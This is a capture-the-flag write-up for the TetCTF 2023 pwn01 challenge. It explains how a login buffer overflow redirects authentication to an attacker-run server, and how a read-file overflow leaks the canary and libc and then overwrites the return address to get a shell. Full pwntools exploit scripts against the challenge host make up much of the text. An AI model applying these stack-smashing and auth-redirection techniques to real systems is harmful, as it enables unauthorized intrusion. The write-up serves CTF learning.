Try   HackMD

pwn01 (9 solves)

tags: TetCTF 2023 pwn

Challenge description

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

I did not solve it in time (30 minutes late T.T). However, I spent quite of lot of time on this challenge, so I might as well do a write up for future me. Special thanks to Mystiz and cire meat pop for helping me on this challenge.

Reverse engineering

The provided binary will connect to a remote authentication server which provides the user/password
The original authentication server is hosting on 139.162.36.205 6666 and gives the folloing response when connected.

root:$6$tet$.84DBkpbpZEcXF.WKDJJDSStwXYJir3.WSKOma1e5N20d4SDpbMPLryTcZaB7buisGAsT2GW1bdad74Hh3Ply0:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
phieulang:$6$tet$c6Gn4JRQYto4qK3o0nx.iF04g9XaR0bceVJmyjFqVplnSCkZKPJSz30tfvKbu/mNHPHC/kJdtSELbfHzRchTN.:1000:1000:,,,:/home/phieulang:/usr/bin/zsh
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin

Hash cracking? Not this way.

After login, we could have access to read file function. There are 5 files and the content of the first 4 files are constant, and seems to be dumped from /dev/urandom. The fifth file is urandom.

Vulnerbility Analysis

Bypass the login

There is a buffer overflow in the login function. See the pseudo-code from ghidra.

void login(void) { ssize_t readResult; long in_FS_OFFSET; char continueLogin; int readSize; int sockFd; char *serverIp; char *usernameBuffer; char *passwordBuffer; int *loginResult; char *authToken; char password [128]; char username [128]; int authData [2]; char acStack80 [8]; undefined authPacket [56]; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); serverIp = "tet.ctf"; usernameBuffer = username; passwordBuffer = password; loginResult = authData; authData[0] = 0; authToken = acStack80; do { memset(authPacket,0,0x10); getServerIp(serverIp,authToken); printf("Username: "); readResult = read(0,usernameBuffer,0xb0); readSize = (int)readResult;

Here is an illustration.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

So we can control variables on stack, one of them is the authentication server IP. Like this.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

To host my own authentication server, I have compiled the following c code and used socat to serve the binary. The server needs to be accessible from the internet at port 6666. The credential is simply just root:P@ssw0rd.

#include <stdio.h>

int main(void) {
    printf("root:$y$j9T$Jh.SJVlEpZJ4VjpG7xQqI/$Ddq3Nf1sbgyS91Hy.6jhv88/gz5al3p830zEFjFWrt0:0:0:root:/root:/bin/bash\n");
    return 0;
}

socat tcp-l:6666,reuseaddr,fork EXEC:"./a.out",pty,stderr

After that, we could login as root. We now have access to the read file function.

Read file feature

There is a buffer overflow in the read file function. See the pseudo-code from ghidra.

char readBuffer [264];
//...snip...
          while( true ) {
            printf("How many bytes to read?");
            lVar1 = getNumber();
            size = (int)lVar1;
            if (size == -1) break;
            memset(readBuffer,0,0x100);
            sVar2 = read(ret_val3,readBuffer,(long)size);
            if (sVar2 == 0) {
              puts("No more data!");
              break;
            }
            puts(readBuffer);
          }

Read premise

We can corrupt the stack by specifying a read size larger than the buffer size.
Since the readBuffer would be passed to the function puts, we can specify a specific size such that it would leak values on stack as the puts function would print until null byte was reached. We could leak the canary and libc base with this function.

Write premise

The function call read(ret_val3,readBuffer,(long)size); would read from the selected file and write to the readBuffer with the specified size. Let say we know the data inside the file on the challenge server, we can achieve write to stack by writing from the furthest address . Basically find how far is the target byte in the file based on the current reading index. Do some math to skip to the correct reading index. Read the wanted offset to write the byte to stack. Simple? See the following implementation and see how to write a target byte into a specific offset from readBuffer.

def writeByte(p, targetByte, offset):
    global read_index
    log.info(f"writeByte() targetByte : {hex(targetByte)} offset : {offset} read_index : {read_index}")
    with open('./data/file.bin','rb') as fp:
        fp.seek(read_index)
        data = fp.read()
    distance = data[offset:].index(targetByte) + 1 + offset
    idx = distance - offset
    skip_count = idx//BUF_SIZE
    final_read_size = idx%BUF_SIZE
    for i in range(skip_count):
        p.sendlineafter(b"read?",f"{BUF_SIZE}".encode())
        p.sendlineafter(b"read?",f"{final_read_size}".encode())
    p.sendlineafter(b"read?",f"{offset}".encode())
    read_index += distance

Exploitation

Since we have both read and write premise, we could achieve code execution by overwriting the return address. Use one_gadget to find a decent gadget and try to satisfy the conditions. Dont forget to fix the canary when you leave the read file function.

Here is a nice screenshot.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

TetCTF{w4rm_uP_ch4lL3ng3__g0Od_g4m3!}

Solve script

This script is used to dump file 1 on the challenge server

from pwn import * read_index = 0 bytes_to_read = 264 sleep_secs = 2 question = b"How many bytes to read?" file_index = 1 with open("./data/file.bin",'rb') as fp: old_data = fp.read(read_index) with open("./data/file.bin",'wb') as fp: fp.write(old_data) while True: print(f'Reconnect read_index : {read_index}') p = remote("139.162.36.205", 31337) p.sendlineafter(b"Your choice: ", b"1") p.sendlineafter(b"Username: ", b"root\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa198.199.78.86") p.sendlineafter(b"Password: ", b"P@ssw0rd") p.sendlineafter(b"Your choice: ", b"2") p.sendlineafter(b"Enter the index of the file to read: ", str(file_index).encode()) try: if read_index == 0: p.sendlineafter(question, str(bytes_to_read).encode()) else: steps = read_index // bytes_to_read off = read_index % bytes_to_read for i in range(steps): p.sendlineafter(question, str(bytes_to_read).encode()) if off != 0: p.sendlineafter(question, str(off).encode()) p.sendlineafter(question, str(bytes_to_read).encode()) a = p.recv(bytes_to_read) print(f"{a}") if(len(a) < bytes_to_read): read_index += len(a) + 1 a += b'\x00' else: read_index += len(a) fp.write(a) p.close() if read_index > 20000: break except Exception as e: print(f'Error {e}') p.close() continue
from pwn import * import binascii context.log_level = "info" # 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ) # constraints: # rsp & 0xf == 0 # rcx == NULL # rbp == NULL || (u16)[rbp] == NULL # 0xebcf1 execve("/bin/sh", r10, [rbp-0x70]) # constraints: # address rbp-0x78 is writable # [r10] == NULL || r10 == NULL # [[rbp-0x70]] == NULL || [rbp-0x70] == NULL # 0xebcf5 execve("/bin/sh", r10, rdx) # constraints: # address rbp-0x78 is writable # [r10] == NULL || r10 == NULL # [rdx] == NULL || rdx == NULL # 0xebcf8 execve("/bin/sh", rsi, rdx) # constraints: # address rbp-0x78 is writable # [rsi] == NULL || rsi == NULL # [rdx] == NULL || rdx == NULL read_index = 0 BUF_SIZE = 264 def readFile(p, idx): p.sendlineafter(b"Your choice:",b"2") p.sendlineafter(b"Enter the index of the file to read:",f"{idx}".encode()) def readBytes(p, size, readSize): global read_index try: with open('./data/file.bin','rb') as fp: fp.seek(read_index) data = fp.read() p.sendlineafter(b"read?",f"{size}".encode()) log.debug(f'DUMP: {binascii.hexlify(data[:size])}') tmp = p.recv(readSize) read_index += size while(len(tmp) < readSize): log.debug(f"readBytes read {readSize} got {len(tmp)}") p.send(f'{size}'.encode()) log.debug(f'DUMP: {binascii.hexlify(data[:size])}') tmp = p.recv(readSize) read_index += size return tmp except Exception as e: log.debug(f"readByte error {e}") def writeByte(p, targetByte, offset): global read_index log.info(f"writeByte() targetByte : {hex(targetByte)} offset : {offset} read_index : {read_index}") with open('./data/file.bin','rb') as fp: fp.seek(read_index) data = fp.read() distance = data[offset:].index(targetByte) + 1 + offset #Look for target Byte that is at least offset away from start. Off by 1 idx = distance - offset skip_count = idx//BUF_SIZE final_read_size = idx%BUF_SIZE log.debug(f"distance : {distance} idx : {idx} skip_count : {skip_count} final_read_size : {final_read_size}") for i in range(skip_count): p.sendlineafter(b"read?",f"{BUF_SIZE}".encode()) log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*i:BUF_SIZE*i+BUF_SIZE])}') if not final_read_size == 0: p.sendlineafter(b"read?",f"{final_read_size}".encode()) log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*skip_count:BUF_SIZE*skip_count+final_read_size])}') p.sendlineafter(b"read?",f"{offset}".encode()) log.debug(f'DUMP: {binascii.hexlify(data[BUF_SIZE*skip_count+final_read_size:BUF_SIZE*skip_count+final_read_size+offset])}') read_index += distance function_offset = 0x7feedf585d90 - 0x007feedf55c000 # p = process('./chall') # gdb.attach(p) p = remote("139.162.36.205",31337) #Login p.sendlineafter(b"Your choice:",b"1") p.sendlineafter(b"Username:",b"root\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa198.199.78.86") p.sendlineafter(b"Password:",b"P@ssw0rd") readFile(p, 1) # Get canary offset_canary = BUF_SIZE+1 leak = readBytes(p,offset_canary, offset_canary+7) canary = u64(b'\x00'+ leak[offset_canary:offset_canary+7]) log.info(f"canary : {hex(canary)}") # Get libc_base offset_functon = BUF_SIZE+32 leak = readBytes(p,offset_functon, offset_functon+6) function_leak = u64(leak[offset_functon:offset_functon+6] + b'\x00\x00') #__libc_start_call_main+128 log.info(f"__libc_start_call_main+128 : {hex(function_leak)}") libc_base = function_leak - function_offset log.info(f"libc_base base : {hex(libc_base)}") #TODO : Find a working gadget! gadget = 0x50a37 + libc_base # gadget = 0x616161616161 log.info(f"one gadget : {hex(gadget)}") #Rewrite return address return_offset = BUF_SIZE+16 for idx,byte in zip(range(return_offset+8,return_offset,-1),p64(gadget)[::-1]): writeByte(p,byte,idx) #Rewrite rbp rbp_offset = BUF_SIZE + 8 for idx,byte in zip(range(rbp_offset+8,rbp_offset,-1),p64(0)[::-1]): writeByte(p,byte,idx) #Rewrite canary for idx,byte in zip(range(BUF_SIZE+8,BUF_SIZE,-1),p64(canary)[::-1]): writeByte(p,byte,idx) # Input 0 and enter to trigger the return p.interactive()